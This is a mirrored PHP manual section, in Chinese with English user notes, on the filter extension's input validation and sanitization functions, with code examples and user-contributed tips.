http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/
ext/filter/filter.c?r1=297245&r2=297244&pathrev=297245
His earlier commit to the PHP source code trunk commented that this "Added the full htmlspecialchars() functionality which includes utf-8 validation as a default filter."


范例

Table of Contents

  • Validation
  • Sanitization

User Contributed Notes

There are no user contributed notes for this page.


Validation

Example #1 Validating email addresses with filter_var()

<?php
$email_a = 'joe@example.com';
$email_b = 'bogus';

if (filter_var($email_a, FILTER_VALIDATE_EMAIL)) {
    echo "Email address '$email_a' is considered valid.\n";
}
if (filter_var($email_b, FILTER_VALIDATE_EMAIL)) {
    echo "Email address '$email_b' is considered valid.\n";
} else {
    echo "Email address '$email_b' is considered invalid.\n";
}
?>

以上例程会输出：

Email address 'joe@example.com' is considered valid.
Email address 'bogus' is considered invalid.

Example #2 Validating IP addresses with filter_var()

<?php
$ip_a = '127.0.0.1';
$ip_b = '42.42';

if (filter_var($ip_a, FILTER_VALIDATE_IP)) {
    echo "IP address '$ip_a' is considered valid.";
}
if (filter_var($ip_b, FILTER_VALIDATE_IP)) {
    echo "IP address '$ip_b' is considered valid.";
}
?>

以上例程会输出：

IP address '127.0.0.1' is considered valid.

Example #3 Passing options to filter_var()

<?php
$int_a = '1';
$int_b = '-1';
$int_c = '4';
$options = array(
    'options' => array(
        'min_range' => 0,
        'max_range' => 3,
    )
);
if (filter_var($int_a, FILTER_VALIDATE_INT, $options) !== FALSE) {
    echo "Integer A '$int_a' is considered valid (between 0 and 3).\n";
}
if (filter_var($int_b, FILTER_VALIDATE_INT, $options) !== FALSE) {
    echo "Integer B '$int_b' is considered valid (between 0 and 3).\n";
}
if (filter_var($int_c, FILTER_VALIDATE_INT, $options) !== FALSE) {
    echo "Integer C '$int_c' is considered valid (between 0 and 3).\n";
}

$options['options']['default'] = 1;
if (($int_c = filter_var($int_c, FILTER_VALIDATE_INT, $options)) !== FALSE) {
    echo "Integer C '$int_c' is considered valid (between 0 and 3).";
}
?>

以上例程会输出：

Integer A '1' is considered valid (between 0 and 3).
Integer C '1' is considered valid (between 0 and 3).

User Contributed Notes

dows 04-May-2018 08:26
It considers umlauts-domains as invalid.

test@t?st.de -> false
t?st@test.de -> false
Anonymous 21-Nov-2017 07:34
the problem listed before with the e-mail address: gnix@lineone.netsteve.gynes@lane4.co.uk being flagged as valid seems to not be a problem anymore, at least not on 5.6.30
ghazouanijs at gmail dot com 20-Jan-2015 03:49
invalid email skip this filter
example : gnix@lineone.netsteve.gynes@lane4.co.uk
Stan 11-Sep-2013 10:02
HP 5.3.3 and 5.2.14 had a bug (http://bugs.php.net/52929) related to FILTER_VALIDATE_EMAIL, which resulted in segfault when validating large values. Simple and safe workaround for this is using strlen() before filter_val(). I'm not sure about 5.3.4 final, but it is written that some 5.3.4-snapshot versions also were affected.

Originally posted here - http://stackoverflow.com/questions/5855811/how-to-validate-an-email-in-php#comment6729146_5855853.


Sanitization

Example #1 Sanitizing and validating email addresses

<?php
$a = 'joe@example.org';
$b = 'bogus - at - example dot org';
$c = '(bogus@example.org)';

$sanitized_a = filter_var($a, FILTER_SANITIZE_EMAIL);
if (filter_var($sanitized_a, FILTER_VALIDATE_EMAIL)) {
    echo "This (a) sanitized email address is considered valid.\n";
}

$sanitized_b = filter_var($b, FILTER_SANITIZE_EMAIL);
if (filter_var($sanitized_b, FILTER_VALIDATE_EMAIL)) {
    echo "This sanitized email address is considered valid.";
} else {
    echo "This (b) sanitized email address is considered invalid.\n";
}

$sanitized_c = filter_var($c, FILTER_SANITIZE_EMAIL);
if (filter_var($sanitized_c, FILTER_VALIDATE_EMAIL)) {
    echo "This (c) sanitized email address is considered valid.\n";
    echo "Before: $c\n";
    echo "After:  $sanitized_c\n";
}
?>

以上例程会输出：

This (a) sanitized email address is considered valid.
This (b) sanitized email address is considered invalid.
This (c) sanitized email address is considered valid.
Before: (bogus@example.org)
After: bogus@example.org

Example #2 Configuring a default filter

filter.default = full_special_chars
filter.default_flags = 0

User Contributed Notes

Chris 14-Apr-2015 07:42
While it may seem to be good practice to set the defaults in php.ini you should not assume that the end users server has the same settings as your server. Because of this you should not presume that default filtering will work out of the box for the end user.

You should ensure that all filters are declared at the site of use regardless of your own default settings. A move to a new host even for your own personal application may break due to different settings.
zeeshan dot karamat dot abbas at gmail dot com 05-Feb-2015 01:59
If we omit using a filter then PHP by default puts a filter which is FILTER_DEFAULT which will use default filter. Now the question is what is a default filter. A default filter is unsafe_raw which will allow the unsafe raw data passed on to the server. This value is available in php.ini file. It is suggested that a developer should update this value inside php.ini file as under:
filter.default = full_special_chars
filter.default_flags = 0

Whereas in php.ini file above values are by default, set as under:
;filter.default = unsafe_raw
;filter.default_flags =

Above semicolons are commented out lines so surely one needs to remove those semicolons to apply the changes made. If we do not do above things then what will happen. In that case PHP will use default filter which would surely be FILTER_UNSAFE_RAW and one can see that unsafe raw data can then be passed onto server which can make the life a hacker easier.


过滤器函数

Table of Contents

  • filter_has_var — 检测是否存在指定类型的变量
  • filter_id — 返回与某个特定名称的过滤器相关联的id
  • filter_input_array — 获取一系列外部变量，并且可以通过过滤器处理它们
  • filter_input — 通过名称获取特定的外部变量，并且可以通过过滤器处理它
  • filter_list — 返回所支持的过滤器列表
  • filter_var_array — 获取多个变量并且过滤它们
  • filter_var — 使用特定的过滤器过滤一个变量

User Contributed Notes

fumble1 at web dot de 12-Aug-2007 10:54
I recommend you to use the FILTER_REQUIRE_SCALAR (or FILTER_REQUIRE_ARRAY) flags, since you can use array-brackets both to access string offsets and array-element -- however, not only this can lead to unexpected behaviour. Look at this example:

<?php
$image = basename(filter_input(INPUT_GET, 'src', FILTER_UNSAFE_RAW, FILTER_FLAG_STRIP_LOW));
// further checks
?>

/script.php?src[0]=foobar will cause a warning. :-(
Hence my recommendation:

<?php
$image = basename(filter_input(INPUT_GET, 'src', FILTER_UNSAFE_RAW, FILTER_REQUIRE_SCALAR | FILTER_FLAG_STRIP_LOW));
// further checks
?>
Richard Davey rich at corephp dot co dot uk 13-Jun-2007 11:15
There is an undocumented filter flag for FILTER_VALIDATE_BOOLEAN. The documentation implies that it will return NULL if the value doesn't match the allowed true/false values. However this doesn't happen unless you give it the FILTER_NULL_ON_FAILURE flag like this:

<?php
$value = 'car';
$result = filter_var($value, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE);
?>

In the above $result will equal NULL. Without the extra flag it would equal FALSE, which isn't usually a desired result for this specific filter.
ckroll at rightmedia dot com 08-May-2007 08:02
Beware, the FILTER_SANITIZE_STRING flag functions much like strip_tags, so < will get filtered from input regardless of it's actually part of a tag.  We were getting unexepected results with a graphic library we wrote when trying to print < on a dynamic button.  The url came in something like ?string=%3C (<) but after filter ran it was empty.  To get around this, you could use FILTER_UNSAFE_RAW on that one param.
user 02-Feb-2007 12:15
Below is some code using filter API to restrict access to LAN by IPv4 private address range.

These notes may save someone else a little time:

filter_input_array() is useless for running multiple filters on the same key.
No way to chain or negate filters.

<?php

/* Merciful comment! */
function FILTER_NEGATE_HACK($_){ return (bool)!$_; }

function client_is_private_ipv4(){
  return (filter_input(INPUT_SERVER, 'REMOTE_ADDR', FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) &&
            FILTER_NEGATE_HACK(filter_input(INPUT_SERVER, 'REMOTE_ADDR', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE));
}

if (! client_is_private_ipv4())
  exit('This application is restricted to local network users');

?>
vojtech at x dot cz 21-Dec-2006 06:38
Also notice that filter functions are using only the original variable values passed to the script even if you change the value in super global variable ($_GET, $_POST, ...) later in the script.

<?php
echo filter_input(INPUT_GET, 'var'); // print 'something'
echo $_GET['var']; // print 'something'
$_GET['var'] = 'changed';
echo filter_input(INPUT_GET, 'var'); // print 'something'
echo $_GET['var']; // print 'changed'
?>

In fact, external data are duplicated in SAPI before the script is processed and filter functions don't use super globals anymore (as explained in Filter tutorial bellow, section 'How does it work?').
vojtech at x dot cz 21-Dec-2006 05:13
Just to note that "server and env support may not work in all sapi, for filter 0.11.0 or php 5.2.0" as mentioned in Filter tutorial bellow.

The workaround is obvious:
Instead of
<?php
$var = filter_input(INPUT_SERVER, 'SERVER_NAME', FILTER_DEFAULT);
?>
use
<?php
$var = filter_var(isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : NULL, FILTER_DEFAULT);
?>


检测是否存在指定类型的变量

  • ? 过滤器函数
  • filter_id ?
  • PHP Manual
  • 过滤器函数
  • 检测是否存在指定类型的变量

filter_has_var

(PHP 5 >= 5.2.0, PHP 7)

filter_has_var — 检测是否存在指定类型的变量

说明

filter_has_var ( int $type , string $variable_name ) : bool

参数

type

INPUT_GET、 INPUT_POST、 INPUT_COOKIE、 INPUT_SERVER、 INPUT_ENV 里的其中一个。

variable_name

要检查的变量名。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

User Contributed Notes

dezlov 30-Jul-2015 01:12
For people who are wondering whether "magic_quotes_gpc" has any affect on "filter_input" operation, here is an extract from a PHP source file:

* As the input filter acts on input data before the magic quotes function mangles data, all access through the filter() function will not have any quotes or slashes added - it will be the pure data as send by the browser.

So when using this function, there is no need to strip the slashes when "magic_quotes_gpc" is enabled.
nanhe dot kumar at gmail dot com 06-Mar-2013 02:15
Through this example i think you can better understand

    if ( !filter_has_var(INPUT_GET, 'email') ) {
        echo "Email Not Found";
    }else{
        echo "Email Found";
    }
    Output

    localhost/nanhe/test.php?email=1 //Email Found
    localhost/nanhe/test.php?email //Email Found
    http://localhost/nanhe/test.php //Email Not Found

Consider on second example

http://localhost/nanhe/test.php
$_GET['email']="info@nanhe.in";
if ( !filter_has_var(INPUT_GET, 'email') ) {
        echo "Email Not Found";
    }else{
        echo "Email Found";
    }
But output will be Email Not Found
drm at melp dot nl 16-Jan-2009 01:54
Please note that the function does not check the live array, it actually checks the content received by php:

<?php
$_GET['test'] = 1;
echo filter_has_var(INPUT_GET, 'test') ? 'Yes' : 'No';
?>

would say "No", unless the parameter was actually in the querystring.

Also, if the input var is empty, it will say Yes.


返回与某个特定名称的过滤器相关联的id

  • ? filter_has_var
  • filter_input_array ?
  • PHP Manual
  • 过滤器函数
  • 返回与某个特定名称的过滤器相关联的id

filter_id

(PHP 5 >= 5.2.0, PHP 7)

filter_id — 返回与某个特定名称的过滤器相关联的id

说明

filter_id ( string $filtername ) : int

参数

filtername

待获取的过滤器名称

返回值

如果获取成功则返回过滤器id，如果过滤器不存在则返回 FALSE 。

参见

  • filter_list() - 返回所支持的过滤器列表

User Contributed Notes

w0n4b3 at gmail dot com 23-Jun-2011 02:47
[To get a list of filters and their IDs:]

<?php
$filters = filter_list();
foreach($filters as $filter_name) {
    echo $filter_name .": ".filter_id($filter_name) ."<br>";
}
?>
Will result in:
boolean: 258
float: 259
validate_regexp: 272
validate_url: 273
validate_email: 274
validate_ip: 275
string: 513
stripped: 513
encoded: 514
special_chars: 515
unsafe_raw: 516
email: 517
url: 518
number_int: 519
number_float: 520
magic_quotes: 521
callback: 1024


获取一系列外部变量，并且可以通过过滤器处理它们

  • ? filter_id
  • filter_input ?
  • PHP Manual
  • 过滤器函数
  • 获取一系列外部变量，并且可以通过过滤器处理它们

filter_input_array

(PHP 5 >= 5.2.0, PHP 7)

filter_input_array — 获取一系列外部变量，并且可以通过过滤器处理它们

说明

filter_input_array ( int $type [, mixed $definition [, bool $add_empty = true ]] ) : mixed

这个函数当需要获取很多变量却不想重复调用filter_input()时很有用。

参数

type

INPUT_GET, INPUT_POST, INPUT_COOKIE, INPUT_SERVER, or INPUT_ENV之一。

definition

一个定义参数的数组。一个有效的键必须是一个包含变量名的string，一个有效的值要么是一个filter type，或者是一个array 指明了过滤器、标示和选项。如果值是一个数组，那么它的有效的键可以是 filter， 用于指明 filter type，flags 用于指明任何想要用于过滤器的标示，或者 options 用于指明任何想要用于过滤器的选项。 参考下面的例子来更好的理解这段说明。

这个参数也可以是一个filter constant的整数。那么数组中的所有变量都会被这个过滤器所过滤。

add_empty

在返回值中添加 NULL 作为不存在的键。

返回值

如果成功的话返回一个所请求的变量的数组，如果失败的话返回 FALSE 。对于数组的值，如果过滤失败则返回 FALSE ，如果variable_name 不存在的话则返回 NULL 。 如果标示 FILTER_NULL_ON_FAILURE 被使用了，那么当变量不存在时返回 FALSE ，当过滤失败时返回 NULL 。

范例

Example #1 一个 filter_input_array() 的例子

<?php
error_reporting(E_ALL | E_STRICT);
/* data actually came from POST
$_POST = array(
    'product_id'    => 'libgd<script>',
    'component'     => '10',
    'versions'      => '2.0.33',
    'testscalar'    => array('2', '23', '10', '12'),
    'testarray'     => '2',
);
*/

$args = array(
    'product_id'   => FILTER_SANITIZE_ENCODED,
    'component'    => array('filter'    => FILTER_VALIDATE_INT,
                            'flags'     => FILTER_REQUIRE_ARRAY,
                            'options'   => array('min_range' => 1, 'max_range' => 10)
                           ),
    'versions'     => FILTER_SANITIZE_ENCODED,
    'doesnotexist' => FILTER_VALIDATE_INT,
    'testscalar'   => array(
                            'filter' => FILTER_VALIDATE_INT,
                            'flags'  => FILTER_REQUIRE_SCALAR,
                           ),
    'testarray'    => array(
                            'filter' => FILTER_VALIDATE_INT,
                            'flags'  => FILTER_REQUIRE_ARRAY,
                           )

);

$myinputs = filter_input_array(INPUT_POST, $args);

var_dump($myinputs);
echo "\n";
?>

以上例程会输出：

array(6) {
  ["product_id"]=>
  string(17) "libgd%3Cscript%3E"
  ["component"]=>
  array(1) {
    [0]=>
    int(10)
  }
  ["versions"]=>
  string(6) "2.0.33"
  ["doesnotexist"]=>
  NULL
  ["testscalar"]=>
  bool(false)
  ["testarray"]=>
  array(1) {
    [0]=>
    int(2)
  }
}

更新日志

版本 | 说明
5.4.0 | 添加 add_empty 参数.

注释

Note:

在 INPUT_SERVER 数组中并没有 REQUEST_TIME ，因为它是被稍后插入到$_SERVER 中的。

参见

  • filter_input() - 通过名称获取特定的外部变量，并且可以通过过滤器处理它
  • filter_var_array() - 获取多个变量并且过滤它们
  • Types of filters

User Contributed Notes

sdupuis at blax dot ca 21-Jan-2014 09:36
Note that although you can provide a default filter for the entire input array there is no way to provide a flag for that filter without building the entire definition array yourself.

So here is a small function that can alleviate this hassle!

<?php
function filter_input_array_with_default_flags($type, $filter, $flags, $add_empty = true) {
    $loopThrough = array();
    switch ($type) {
        case INPUT_GET : $loopThrough = $_GET; break;
        case INPUT_POST : $loopThrough = $_POST; break;
        case INPUT_COOKIE : $loopThrough = $_COOKIE; break;
        case INPUT_SERVER : $loopThrough = $_SERVER; break;
        case INPUT_ENV : $loopThrough = $_ENV; break;
    }

    $args = array();
    foreach ($loopThrough as $key=>$value) {
        $args[$key] = array('filter'=>$filter, 'flags'=>$flags);
    }

    return filter_input_array($type, $args, $add_empty);
}
?>
CertaiN 10-Jan-2014 04:40
[New Version]

Example Usage:
<?php
$_GET['A']['a'] = '  CORRECT(including some spaces)    ';
$_GET['A']['b'] = '  CORRECT(including some spaces)    ';
$_GET['A']['c'] = "Invalid UTF-8 sequence: \xe3\xe3\xe3";
$_GET['A']['d']['invalid_structure'] = 'INVALID';

$_GET['B']['a'] = '  CORRECT(including some spaces)    ';
$_GET['B']['b'] = "Invalid UTF-8 sequence: \xe3\xe3\xe3";
$_GET['B']['c']['invalid_structure'] = 'INVALID';
$_GET['B']["Invalid UTF-8 sequence: \xe3\xe3\xe3"] = 'INVALID';

$_GET['C']['a'] = '  CORRECT(including some spaces)    ';
$_GET['C']['b'] = "Invalid UTF-8 sequence: \xe3\xe3\xe3";
$_GET['C']['c']['invalid_structure'] = 'INVALID';
$_GET['C']["Invalid UTF-8 sequence: \xe3\xe3\xe3"] = 'INVALID';

$_GET['unneeded_item'] = 'UNNEEDED';

var_dump(filter_struct_utf8(INPUT_GET, array(
    'A' => array(
        'a' => '',
        'b' => FILTER_STRUCT_TRIM,
        'c' => '',
        'd' => '',
    ),
    'B' => FILTER_STRUCT_FORCE_ARRAY,
    'C' => FILTER_STRUCT_FORCE_ARRAY | FILTER_STRUCT_TRIM,
)));
?>

Example Result:
array(3) {
  ["A"]=>
  array(4) {
    ["a"]=>
    string(36) "  CORRECT(including some spaces)    "
    ["b"]=>
    string(30) "CORRECT(including some spaces)"
    ["c"]=>
    string(0) ""
    ["d"]=>
    string(0) ""
  }
  ["B"]=>
  array(3) {
    ["a"]=>
    string(36) "  CORRECT(including some spaces)    "
    ["b"]=>
    string(0) ""
    ["c"]=>
    string(0) ""
  }
  ["C"]=>
  array(3) {
    ["a"]=>
    string(30) "CORRECT(including some spaces)"
    ["b"]=>
    string(0) ""
    ["c"]=>
    string(0) ""
  }
}
CertaiN 10-Jan-2014 04:39
[New Version]
This function is very useful for filtering complicated array structure.
Also, Some integer bitmasks and invalid UTF-8 sequence detection are available.

Code:
<?php
/**
 * @param  integer $type    Constant like INPUT_XXX.
 * @param  array   $default Default structure of the specified super global var.
 *                          Following bitmasks are available:
 *  + FILTER_STRUCT_FORCE_ARRAY - Force 1 dimensional array.
 *  + FILTER_STRUCT_TRIM        - Trim by ASCII control chars.
 *  + FILTER_STRUCT_FULL_TRIM   - Trim by ASCII control chars,
 *                                full-width and no-break space.
 * @return array            The value of the filtered super global var.
 */
define('FILTER_STRUCT_FORCE_ARRAY', 1);
define('FILTER_STRUCT_TRIM', 2);
define('FILTER_STRUCT_FULL_TRIM', 4);
function filter_struct_utf8($type, array $default) {
    static $func = __FUNCTION__;
    static $trim = "[\\x0-\x20\x7f]";
    static $ftrim = "[\\x0-\x20\x7f\xc2\xa0\xe3\x80\x80]";
    static $recursive_static = false;
    if (!$recursive = $recursive_static) {
        $types = array(
            INPUT_GET => $_GET,
            INPUT_POST => $_POST,
            INPUT_COOKIE => $_COOKIE,
            INPUT_REQUEST => $_REQUEST,
        );
        if (!isset($types[(int)$type])) {
            throw new LogicException('unknown super global var type');
        }
        $var = $types[(int)$type];
        $recursive_static = true;
    } else {
        $var = $type;
    }
    $ret = array();
    foreach ($default as $key => $value) {
        if ($is_int = is_int($value)) {
            if (!($value | (
                FILTER_STRUCT_FORCE_ARRAY |
                FILTER_STRUCT_FULL_TRIM |
                FILTER_STRUCT_TRIM
            ))) {
                $recursive_static = false;
                throw new LogicException('unknown bitmask');
            }
            if ($value & FILTER_STRUCT_FORCE_ARRAY) {
                $tmp = array();
                if (isset($var[$key])) {
                    foreach ((array)$var[$key] as $k => $v) {
                        if (!preg_match('//u', $k)){
                            continue;
                        }
                        $value &= FILTER_STRUCT_FULL_TRIM | FILTER_STRUCT_TRIM;
                        $tmp += array($k => $value ? $value : '');
                    }
                }
                $value = $tmp;
            }
        }
        if ($isset = isset($var[$key]) and is_array($value)) {
            $ret[$key] = $func($var[$key], $value);
        } elseif (!$isset || is_array($var[$key])) {
            $ret[$key] = null;
        } elseif ($is_int && $value & FILTER_STRUCT_FULL_TRIM) {
            $ret[$key] = preg_replace("/\A{$ftrim}++|{$ftrim}++\z/u", '', $var[$key]);
        } elseif ($is_int && $value & FILTER_STRUCT_TRIM) {
            $ret[$key] = preg_replace("/\A{$trim}++|{$trim}++\z/u", '', $var[$key]);
        } else {
            $ret[$key] = preg_replace('//u', '', $var[$key]);
        }
        if ($ret[$key] === null) {
            $ret[$key] = $is_int ? '' : $value;
        }
    }
    if (!$recursive) {
        $recursive_static = false;
    }
    return $ret;
}
?>
CertaiN 29-Jul-2013 10:22
This function is very useful for filtering complicated array structure.

Code:
<?php
function filter_request($var, $default_structure) {

    $ret = array();

    foreach ($default_structure as $key => $value) {
        if (!isset($var[$key])) {
            $ret[$key] = $value;
        } elseif (is_array($value)) {
            $ret[$key] = filter_request($var[$key], $value);
        } elseif (is_array($var[$key])) {
            $ret[$key] = $value;
        } else {
            $ret[$key] = $var[$key];
        }
    }

    return $ret;

}
?>

Sample Usage:
<?php
$_GET['a']['wrong_structure'] = 'foo';
$_GET['b']['c'] = 'CORRECT';
$_GET['b']['d']['wrong_structure'] = 'bar';
$_GET['unneeded_item'] = 'baz';

var_dump(filter_request($_GET, array(
    'a' => 'DEFAULT',
    'b' => array(
        'c' => 'DEFAULT',
        'd' => 'DEFAULT',
    ),
)));
?>

Sample Result:
array(2) {
  ["a"]=>
  string(21) "DEFAULT"
  ["b"]=>
  array(2) {
    ["c"]=>
    string(12) "CORRECT"
    ["d"]=>
    string(21) "DEFAULT"
  }
}
Anonymous 22-Apr-2010 12:12
Beware: if none of the arguments is set, this function returns NULL, not an array of NULL values.

/* No POST vars set in request
$_POST = array();
*/

$args = array('some_post_var' => FILTER_VALIDATE_INT);
$myinputs = filter_input_array(INPUT_POST, $args);
var_dump($myinputs);

Expected Output: array(1) { ["some_post_var"]=> NULL }

Actual Output: NULL
ville at N0SPAM dot zydo dot com 13-Mar-2010 03:18
While filtering input arrays, be careful of what flags you set besides FILTER_REQUIRE_ARRAY. For example, setting the flags like so:

<?php
$filter = array(
'myInputArr' => array('filter' => FILTER_SANITIZE_STRING,
                      'flags' => array('FILTER_FLAG_STRIP_LOW', 'FILTER_REQUIRE_ARRAY'))
);

$form_inputs = filter_input_array(INPUT_POST, $filter);
?>

.. will result in a blank $form_inputs['myInputArr'] regardless of what $_POST['myInputArr'] contains.
kibblewhite at live dot com 26-Jan-2009 07:35
If you are trying to handling multiple form inputs with same name, then you must assign the `'flags'  => FILTER_REQUIRE_ARRAY` to the definitions entry.

Example, you have a html form as such:
<form>
 <input name="t1[]" value="Some string One" />
 <input name="t1[]" value="Another String Two" />
</form>

Your definitions array will look a little like this:
$args = array(
  't1'    => array(
      'name' => 't1',
      'filter' => FILTER_SANITIZE_STRING,
      'flags'  => FILTER_REQUIRE_ARRAY)
);
kdeloach at gmail dot com 12-Aug-2008 12:42
@iam4webwork

This is not specific to filter_input.  If you have an element in HTML called names[], it can be accessed by calling $_POST['names'].
Kevin 08-Jul-2008 06:37
Looks like filter_input_array isn't aware of changes to the input arrays that were made before calling filter_input_array. Instead, it always looks at the originally submitted input arrays.

So this will not work:

$_POST['my_float_field'] = str_replace(',','.',$_POST['my_float_field']);
$args = array('my_float_field',FILTER_VALIDATE_FLOAT);
$result = filter_input_array(INPUT_POST, $args);
phpnotes dot 20 dot zsh at spamgourmet dot com 10-Sep-2007 10:32
The above example will actually output "NULL" because of the undefined variable doesnotexist - see http://bugs.php.net/bug.php?id=42608.
Sinured 22-Aug-2007 10:10
extract() is a very convenient way of copying all those variables to the local scope. (see http://www.php.net/extract)
iam4webwork at NOSPAM dot hotmail dot com 08-Jun-2007 01:02
The above example raises other questions such as how one would validate an html array.  In the input form each input tag that refers to an html array would be named for example testarray[].  However, after the form is submitted, the syntax for validating the values is different from  the expected $_POST['testarray[]']. Instead one has to drop the braces and validate as follows, assuming that testarray[] is supposed to be an html array of numerical values:

Valid test:

echo '*';
echo filter_input(
INPUT_POST,
'testarray',
FILTER_VALIDATE_INT,
FILTER_REQUIRE_ARRAY
);
echo '*';

But the following is an invalid test that results in 2 consequtive asterisks only!

echo '*';
echo filter_input(INPUT_POST,
'testarray[]',
FILTER_VALIDATE_INT,
FILTER_REQUIRE_ARRAY
);
echo '*';

So, there is a naming inconsistency going on, as after the form is submitted, one has to forget about the original name of the submitted array by dropping its braces. Maybe when the PECL/Filter extension is reviewed again, the great ones might consider making the syntax a little more forgiving.


通过名称获取特定的外部变量，并且可以通过过滤器处理它

  • ? filter_input_array
  • filter_list ?
  • PHP Manual
  • 过滤器函数
  • 通过名称获取特定的外部变量，并且可以通过过滤器处理它

filter_input

(PHP 5 >= 5.2.0, PHP 7)

filter_input — 通过名称获取特定的外部变量，并且可以通过过滤器处理它

说明

filter_input ( int $type , string $variable_name [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed

参数

type

INPUT_GET, INPUT_POST, INPUT_COOKIE, INPUT_SERVER或 INPUT_ENV之一。

variable_name

待获取的变量名。

filter

The ID of the filter to apply. The Types of filters manual page lists the available filters.

If omitted, FILTER_DEFAULT will be used, which is equivalent to FILTER_UNSAFE_RAW. This will result in no filtering taking place by default.

options

一个选项的关联数组，或者按位区分的标示。如果过滤器接受选项，可以通过数组的 "flags" 位去提供这些标示。

返回值

如果成功的话返回所请求的变量。如果过滤失败则返回 FALSE ，如果variable_name 不存在的话则返回 NULL 。 如果标示 FILTER_NULL_ON_FAILURE 被使用了，那么当变量不存在时返回 FALSE ，当过滤失败时返回 NULL 。

范例

Example #1 一个 filter_input() 的例子

<?php
$search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
$search_url = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_ENCODED);
echo "You have searched for $search_html.\n";
echo "<a href='?search=$search_url'>Search again.</a>";
?>

以上例程的输出类似于：

You have searched for Me &#38; son.
<a href='?search=Me%20%26%20son'>Search again.</a>

参见

  • filter_var() - 使用特定的过滤器过滤一个变量
  • filter_input_array() - 获取一系列外部变量，并且可以通过过滤器处理它们
  • filter_var_array() - 获取多个变量并且过滤它们
  • Types of filters

User Contributed Notes

Enrique 08-Sep-2018 09:21
Para obtener el IP de cliente en sustitución de $_SERVER("REMOTE_ADDR") no se puede usar filter_input(INPUT_SERVER,'REMOTE_ADDR',FILTER_VALIDATE_IP) pues devuelve null, la formula que funciona es:

$REMOTE_ADDR = filter_input(INPUT_ENV, 'REMOTE_ADDR', FILTER_VALIDATE_IP);
DoubleT 17-Aug-2018 07:44
Discovered interesting behavior when modifying super-globals directly.
$_GET['p'] = 1;
filter_input(INPUT_GET,'p'); //value is NULL

Is this expected?
John Smith 21-Nov-2014 04:48
1. The description of the options parameter is misleading. In order to pass the options (e.g. default, min_range and max_range) you must pass an associative array with a key called "options", which itself is an associative array containing option name => option value pairs.

2. The return values section does not mention that if you specify the "default" option then the function will return the specified default value instead of returning FALSE or NULL (when filter fails or variable is absent).
rimelek at rimelek dot hu 20-Oct-2014 08:44
If your $_POST contains an array value:
<?php
$_POST  = array(
    'var' => array('more', 'than', 'one', 'values')
);
?>
you should use FILTER_REQUIRE_ARRAY option:
<?php
var_dump(filter_input(INPUT_POST, 'var', FILTER_DEFAULT , FILTER_REQUIRE_ARRAY));
?>
Otherwise it returns false.
viaujoc at videotron dot ca 04-Oct-2014 04:14
filter_input() does not seem to support multiple values for a single variable name.

Here is the code comparing the behavior of bare $_GET superglobal vs filter_input(INPUT_GET,...):
<?php
print("Bare \$_GET:\n");
var_dump($_GET);
print("filter_input():\n");
var_dump(filter_input(INPUT_GET,"var"));
?>

When calling: /..../script.php?var=123 (there is only one value for variable 'var')
Output is:
Bare $_GET:
array(1) {
  ["var"]=>
  string(3) "123"
}
filter_input():
string(3) "123"

When calling: /..../script.php?var[]=123&var[]=999 (there are two  values for variable 'var')
Output is:
Bare $_GET:
array(1) {
  ["var"]=>
  array(2) {
    [0]=>
    string(3) "123"
    [1]=>
    string(3) "999"
  }
}
filter_input():
bool(false)

As expected, $_GET['var'] became an array. But filter_input() seems to be unable to process multiple values and returns false.
CertaiN 23-May-2014 01:22
This function provides us the extremely simple solution for type filtering.

Without this function...
<?php
if (!isset($_GET['a'])) {
    $a = null;
} elseif (!is_string($_GET['a'])) {
    $a = false;
} else {
    $a = $_GET['a'];
}
$b = isset($_GET['b']) && is_string($_GET['b']) ? $_GET['b'] : '';
?>

With this function...
<?php
$a = filter_input(INPUT_GET, 'a');
$b = (string)filter_input(INPUT_GET, 'b');
?>

Yes, FILTER_REQUIRE_SCALAR seems to be set as a default option.
It's very helpful for eliminating E_NOTICE, E_WARNING and E_ERROR.
This fact should be documented.
descartavel1+php at gmail dot com 21-Apr-2014 06:50
contrary to what is stated here on the comments on thow to use the options for filters, there is no range option or default... in fact, there is not much option AT ALL. It is not mentioned in the manual anywhere, and the provided code on that comment does nothing with php-5.4.4..

<?php
get(GET, 'p', FILTER_VALIDATE_INT, array('options'=>array('default'=>5, 'min_range'=>0, 'max_range'=>9)) );
// ?p=30 => 30
// ?p="123" => 123
// ?p=-23 => -23
// ?p=asdf => null
?>
Stefan Weinzierl 16-Feb-2014 04:31
Here is an example how to work with the options-parameter. Notice the 'options' in the 'options'-Parameter!

<?php
$options=array('options'=>array('default'=>5, 'min_range'=>0, 'max_range'=>9));

$priority=filter_input(INPUT_GET, 'priority', FILTER_VALIDATE_INT, $options);
?>

$priority will be 5 if the priority-Parameter isn't set or out the given range.
akshay dot leadindia at gmail dot com 29-Aug-2013 02:17
The beauty of using this instead of directly using filter_var( $_GET['search'] ) is that you don't need to check if( isset( $_GET['search'] ) ) as if you pass that to filter_var and the key is not set then it will result in a warning. This function simplifies this and will return the relevant result to you (as per your options set) if the key has not been set in the user input.

If the type of filter you are using also supports a 'default' argument then this function will also stuff your missing input key with that value, again saving your efforts
west {:a7} jsausa {:d0t}~ com 28-Nov-2012 08:30
It's worth noting that the names for variables in filter input obey the same rules as variable naming in PHP (must start with an underscore or letter).  We were allowing users to build custom forms but hashing the names to prevent them from putting arbitrary content into the dom.  Turns out the hash function occasionally produced entirely numeric values for the field name... which doesn't work with filter_input but worked fine if you read directly from $_GET, $_POST, or $_REQUEST.  A workaround is to always prefix an underscore to the field name.
chris at chlab dot ch 20-Mar-2012 09:46
To use a class method for a callback function, as usual, provide an array with an instance of the class and the method name.
Example:

<?php
class myValidator
{
  public function username($value)
  {
    // return username or boolean false
  }
}

$myValidator = new myValidator;
$options = array('options' => array($myValidator, 'username'));
$username = filter_input(INPUT_GET, 'username', FILTER_CALLBACK, $options);
var_dump($username);
?>
ss23 at ss23 dot geek dot nz 28-Jul-2010 11:37
Note that this function doesn't (or at least doesn't seem to) actually filter based on the current values of $_GET etc. Instead, it seems to filter based off the original values.
<?php
$_GET['search'] = 'foo'; // This has no effect on the filter_input

